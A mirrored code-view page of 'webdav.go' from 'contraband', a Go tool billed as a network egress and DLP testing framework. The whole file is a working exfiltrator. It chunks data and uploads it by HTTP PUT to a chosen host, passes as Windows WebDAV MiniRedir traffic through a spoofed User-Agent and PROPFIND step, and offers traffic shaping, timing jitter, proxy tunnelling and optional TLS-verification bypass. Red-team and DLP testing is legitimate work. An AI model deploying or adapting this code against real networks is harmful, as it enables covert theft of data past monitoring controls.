● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.
PUBLIC MIRRORGo v1.0

Multi-protocol network egress assessment and DLP verification framework featuring automated L4 sweeps, corporate proxy traversal, and covert protocol smuggling across 20+ channels.

$ git clone https://shehzade.io/repos/contraband.git Copy
Source ZIP (1.93 MB)
Code 174 Commits 1
contraband / pkg / client / exfil / web / webdav.go
← Back to directory
286 lines · 8.8 KB
Raw
1package web
2
3import (
4 "bytes"
5 "context"
6 "crypto/sha256"
7 "encoding/hex"
8 "encoding/json"
9 "fmt"
10 "io"
11 "net/http"
12 "strings"
13 "time"
14
15 "github.com/shehzade/contraband/pkg/client/evasion"
16 "github.com/shehzade/contraband/pkg/client/exfil"
17 "github.com/shehzade/contraband/pkg/common"
18)
19
20type WebDAVExfiltrator struct{}
21
22func NewWebDAVExfiltrator() *WebDAVExfiltrator {
23 return &WebDAVExfiltrator{}
24}
25
26func init() {
27 exfil.RegisterExfiltrator(common.ProtoWebDAV, NewWebDAVExfiltrator())
28}
29
30func (e *WebDAVExfiltrator) Protocol() string {
31 return common.ProtoWebDAV
32}
33
34func (e *WebDAVExfiltrator) Exfiltrate(ctx context.Context, reader io.Reader, opts exfil.ExfilOptions) (*common.ProbeResult, error) {
35 if err := opts.Validate(); err != nil {
36 return nil, err
37 }
38
39 start := time.Now().UTC()
40 result, err := common.NewProbeResult("exfil", e.Protocol(), opts.TargetHost, opts.TargetPort)
41 if err != nil {
42 return nil, err
43 }
44 result.Timestamps.StartTCP = start
45 result.TLSProfile = opts.TLSFingerprint
46 result.PayloadType = opts.PayloadType
47 result.CarrierType = opts.CarrierType
48
49 if opts.TotalBytes <= 0 {
50 if br, ok := reader.(*bytes.Reader); ok {
51 opts.TotalBytes = int64(br.Len())
52 } else if bb, ok := reader.(*bytes.Buffer); ok {
53 opts.TotalBytes = int64(bb.Len())
54 }
55 }
56
57 if opts.ExpectedHash == "" {
58 if br, ok := reader.(*bytes.Reader); ok {
59 cur, _ := br.Seek(0, io.SeekCurrent)
60 h := sha256.New()
61 _, _ = io.Copy(h, br)
62 opts.ExpectedHash = hex.EncodeToString(h.Sum(nil))
63 _, _ = br.Seek(cur, io.SeekStart)
64 }
65 }
66 result.PayloadHash = opts.ExpectedHash
67
68 if opts.SessionToken.IsZero() {
69 tok, tokErr := common.NewSessionToken()
70 if tokErr != nil {
71 return nil, tokErr
72 }
73 opts.SessionToken = tok
74 }
75
76 chunker, err := evasion.NewStreamChunker(reader, opts.SessionToken, opts.ChunkSize, opts.TotalBytes)
77 if err != nil {
78 return nil, fmt.Errorf("failed to initialize chunk streamer: %w", err)
79 }
80 defer chunker.Close()
81
82 totalChunks := int(chunker.TotalChunks())
83 result.TargetVolume = opts.TotalBytes
84
85 isTLS := opts.UseTLS || (opts.TargetPort != 80 && opts.InsecureTLS) || opts.TargetPort == 443 || opts.TargetPort == 8443 || opts.TargetPort == 9443 || opts.TargetPort == 10443
86 scheme := "http"
87 if isTLS {
88 scheme = "https"
89 }
90
91 var client *http.Client
92 if isTLS {
93 tlsCfg := exfil.TLSConfig{
94 ServerName: opts.TargetHost,
95 InsecureSkipVerify: opts.InsecureTLS,
96 Fingerprint: opts.TLSFingerprint,
97 ALPN: []string{"http/1.1"},
98 }
99 tr := exfil.NewHTTPTransport(tlsCfg)
100 if opts.ProxyDialer != nil {
101 tr.DialContext = opts.ProxyDialer.DialContext
102 }
103 client = &http.Client{Transport: tr, Timeout: opts.Timeout}
104 } else {
105 tr := &http.Transport{
106 MaxIdleConns: 100,
107 IdleConnTimeout: 90 * time.Second,
108 TLSHandshakeTimeout: 10 * time.Second,
109 }
110 if opts.ProxyDialer != nil {
111 tr.DialContext = opts.ProxyDialer.DialContext
112 }
113 client = &http.Client{Transport: tr, Timeout: opts.Timeout}
114 }
115 defer client.CloseIdleConnections()
116
117 result.Timestamps.ConnectedTCP = time.Now().UTC()
118 if isTLS {
119 result.Timestamps.HandshakeTLS = time.Now().UTC()
120 }
121
122 // Phase 1: PROPFIND collection discovery mimicking Windows WebClient MiniRedir
123 propfindURL := fmt.Sprintf("%s://%s:%d/webdav/", scheme, opts.TargetHost, opts.TargetPort)
124 propfindBody := `<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:prop><D:resourcetype/></D:prop></D:propfind>`
125 propReq, err := http.NewRequestWithContext(ctx, "PROPFIND", propfindURL, strings.NewReader(propfindBody))
126 if err != nil {
127 result.Verdict = common.ClassifyError(err)
128 result.ErrorMessage = fmt.Sprintf("webdav propfind request failed: %v", err)
129 result.Timestamps.TeardownDone = time.Now().UTC()
130 e.calculateDurations(&result)
131 return &result, err
132 }
133 propReq.Header.Set("User-Agent", "Microsoft-WebDAV-MiniRedir/10.0.19041")
134 propReq.Header.Set("Depth", "0")
135 propReq.Header.Set("Content-Type", "application/xml; charset=utf-8")
136 if propResp, err := client.Do(propReq); err != nil {
137 result.Verdict = common.ClassifyError(err)
138 result.ErrorMessage = fmt.Sprintf("webdav propfind error: %v", err)
139 result.Timestamps.TeardownDone = time.Now().UTC()
140 e.calculateDurations(&result)
141 return &result, err
142 } else {
143 _ = propResp.Body.Close()
144 }
145
146 result.Timestamps.FirstByteSent = time.Now().UTC()
147
148 // Phase 2: PUT upload mimicking Windows WebClient
149 putURL := fmt.Sprintf("%s://%s:%d/webdav/%s.bin", scheme, opts.TargetHost, opts.TargetPort, opts.SessionToken.String())
150 var lastRespBody []byte
151 var headEvidence []byte
152
153 for {
154 chunkFrame, seq, err := chunker.Next()
155 if err == io.EOF {
156 break
157 }
158 if err != nil {
159 result.Verdict = common.ClassifyError(err)
160 result.ErrorMessage = err.Error()
161 result.Timestamps.TeardownDone = time.Now().UTC()
162 e.calculateDurations(&result)
163 return &result, err
164 }
165
166 if len(headEvidence) < 768 && len(chunkFrame) > common.ChunkHeaderSize {
167 p := chunkFrame[common.ChunkHeaderSize:]
168 needed := 768 - len(headEvidence)
169 if needed > len(p) {
170 needed = len(p)
171 }
172 headEvidence = append(headEvidence, p[:needed]...)
173 }
174
175 if opts.Shaper != nil {
176 if err := opts.Shaper.WaitN(ctx, len(chunkFrame)); err != nil {
177 result.Verdict = common.ClassifyError(err)
178 result.ErrorMessage = err.Error()
179 result.Timestamps.TeardownDone = time.Now().UTC()
180 e.calculateDurations(&result)
181 return &result, err
182 }
183 }
184
185 if opts.Cadence != nil {
186 delay := opts.Cadence.NextDelay()
187 if delay > 0 {
188 select {
189 case <-time.After(delay):
190 case <-ctx.Done():
191 result.Verdict = common.ClassifyError(ctx.Err())
192 result.ErrorMessage = ctx.Err().Error()
193 result.Timestamps.TeardownDone = time.Now().UTC()
194 e.calculateDurations(&result)
195 return &result, ctx.Err()
196 }
197 }
198 }
199
200 putReq, err := http.NewRequestWithContext(ctx, http.MethodPut, putURL, bytes.NewReader(chunkFrame))
201 if err != nil {
202 result.Verdict = common.ClassifyError(err)
203 result.ErrorMessage = err.Error()
204 result.Timestamps.TeardownDone = time.Now().UTC()
205 e.calculateDurations(&result)
206 return &result, err
207 }
208 putReq.Header.Set("User-Agent", "Microsoft-WebDAV-MiniRedir/10.0.19041")
209 putReq.Header.Set("Content-Type", "application/octet-stream")
210 putReq.Header.Set("Translate", "f")
211 putReq.Header.Set(common.HeaderSessionID, opts.SessionToken.String())
212 putReq.Header.Set(common.HeaderSequence, fmt.Sprintf("%d", seq))
213 putReq.Header.Set(common.HeaderTotalChunks, fmt.Sprintf("%d", totalChunks))
214 putReq.Header.Set(common.HeaderPayloadLength, fmt.Sprintf("%d", len(chunkFrame)-common.ChunkHeaderSize))
215 putReq.Header.Set(common.HeaderPayloadHash, opts.ExpectedHash)
216
217 for k, v := range opts.Headers {
218 putReq.Header.Set(k, v)
219 }
220
221 resp, err := client.Do(putReq)
222 if err != nil {
223 result.Verdict = common.ClassifyError(err)
224 result.ErrorMessage = fmt.Sprintf("webdav put failed: %v", err)
225 result.Timestamps.TeardownDone = time.Now().UTC()
226 e.calculateDurations(&result)
227 return &result, err
228 }
229
230 respBody, _ := io.ReadAll(resp.Body)
231 _ = resp.Body.Close()
232 lastRespBody = respBody
233 result.BytesSent += int64(len(chunkFrame))
234 result.BytesRecv += int64(len(respBody))
235
236 if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated && resp.StatusCode != http.StatusNoContent {
237 result.Timestamps.TeardownDone = time.Now().UTC()
238 e.calculateDurations(&result)
239
240 var ack common.VerificationACK
241 if jsonErr := json.Unmarshal(respBody, &ack); jsonErr == nil && ack.Verdict != "" {
242 result.Verdict = ack.Verdict
243 result.ErrorMessage = ack.ErrorMessage
244 } else {
245 result.Verdict = common.VerdictBlockedL7
246 result.ErrorMessage = fmt.Sprintf("webdav put returned status %d: %s", resp.StatusCode, string(respBody))
247 }
248 return &result, fmt.Errorf("%s", result.ErrorMessage)
249 }
250 }
251
252 result.Timestamps.AckReceived = time.Now().UTC()
253 result.Timestamps.TeardownDone = time.Now().UTC()
254
255 // Parse and strictly verify cryptographic verification ACK
256 var ack common.VerificationACK
257 if err := json.Unmarshal(lastRespBody, &ack); err != nil {
258 result.Verdict = common.VerdictBlockedL7
259 result.ErrorMessage = fmt.Sprintf("failed to parse webdav verification ACK: %v", err)
260 e.calculateDurations(&result)
261 return &result, fmt.Errorf("invalid verification ACK: %w", err)
262 }
263
264 verdict, verifyErr := ack.Verify(opts.ExpectedHash, totalChunks)
265 result.Verdict = verdict
266 if verifyErr != nil {
267 result.ErrorMessage = verifyErr.Error()
268 e.calculateDurations(&result)
269 return &result, verifyErr
270 }
271
272 result.RawEvidence = common.FormatBoundedRawEvidence(headEvidence)
273 e.calculateDurations(&result)
274 return &result, nil
275}
276
277func (e *WebDAVExfiltrator) calculateDurations(r *common.ProbeResult) {
278 t := &r.Timestamps
279 if t.TeardownDone.IsZero() {
280 t.TeardownDone = time.Now().UTC()
281 }
282 t.ComputeDurations()
283 if t.TransferDuration > 0 {
284 r.ThroughputBps = float64(r.BytesSent*8) / (float64(t.TransferDuration) / float64(time.Second)) / 1000.0
285 }
286}